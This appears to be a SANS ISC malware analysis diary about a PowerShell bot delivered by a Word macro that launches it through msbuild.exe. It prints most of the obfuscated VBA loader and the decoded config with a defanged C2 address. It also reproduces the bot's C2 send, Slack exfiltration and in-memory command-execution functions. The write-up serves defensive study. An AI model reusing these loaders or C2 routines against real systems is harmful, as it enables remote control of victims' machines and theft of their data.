Powershell Bot with Multiple C2 Protocols, (Mon, Aug 3rd)

I spotted another interesting Powershell script. It’s a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click() MsgBox "Thank you for your participation!" Call f332dsasad
End Sub Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl) f332dsasad
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad() Dim aaa As String On Error Resume Next Dim file adddsaddsasd appDataLocation = Environ("A" & "ppD" & "ata") file = appDataLocation & "\Wind" & "owsManager." & "xml" Set objFSO = CreateObject("Scripting.FileSystemObject") Set oFile = objFSO.CreateTextFile(file, True) oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name" oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory""" oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>" oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy" oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C" oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using" oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S" oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic" oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample : Task, ITask{publ" oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ" oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY" oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c" ... (stuff removed) ... oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe" oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)" oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun" oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm" oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>" oFile.Close waitTill = Now() + TimeValue("00:00:04") While Now() < waitTill DoEvents Wend aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
 $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc='; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name Value ---- ----- sleep 1 chunksleep 1 key {47, 130, 248, 76...} handlers HTTPAES256|hxxp://104[.]239[.]177[.]103:80 shell powershell maxrequestsize 24000 

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
No response from handler
DNSAES256 register
{"implantType":"PowerShell","localIp":" ","hostname":" ","username":" ","handler":"Multi","connectionString":" ","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
Process Exited
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: true

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) { $_l19s = $_d.handlers.split(","); $_ktk = ""; For ($i=0; $i -lt $_l19s.Length + 1; $i++) { try { $_l19 = $_l19s[$i].split("|"); if($_l19[0] -eq $_h[17]) { # "HTTPAES256" Return v1v $_l19[1] $_hc8 $body; } elseif($_l19[0] -eq $_h[18]) { # "SLACK" $trySlack = $false; Return ny4 $_hc8 $body; } elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT" Return v1v $_l19[1] $_hc8 $body $_l19[2]; } elseif($_l19[0] -eq $_h[20]){ # DNSAES256 Return r8p $_hc8 $body $_l19[1]; } } catch { if($_.Exception.message -eq 404) { throw $_; } else { $_ktk += $_h[21] + $_.Exception.message; } } } Throw $_ktk; }

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; $bodyEnc = vnm $_d.key $body; $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; if($_hc8 -ne $_h[12]){ $thread_ts = $_uyx.ts; sleep -Milliseconds 500; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; if($_uyx2.messages.length -lt 2){ Sleep 4; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; } if($_uyx2.messages.length -lt 2){ throw $_h[13]; } $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; if($_yl5 -eq "404"){ throw "404"; } return ConvertFrom-Json $_yl5; } } 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:


Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:

  "supportedPayloads":   ["command","exit","upload","download","configure", "posh_in_mem","reflected_assembly","cd","interactive","socks"

Now, we’ve our _id! I was curious about the command ‘posh_in_mem’. It just means “PowerShell in memory” and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { if($_wxs.($_h[32]).($_h[34]).pipe_id){ $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; $script = [System.Text.Encoding]::ASCII.GetString($bytes); } else { $script = ""; } $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; $_yl5=""; $_e7i = Invoke-Expression $script | Out-String; ForEach ($line in $($_e7i -split $_h[21])){ $_yl5+=$line.TrimEnd() + $_h[21]; } igl $_wxs._id $_yl5 $false; } 

The C2 is located at and is still alive. This IP address is serving the following website: https://biomarin[.]culture-amp[.]com. It allows you to download a document called ‘Diversity and Inclusion Survey.docm'[5] that contains… our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant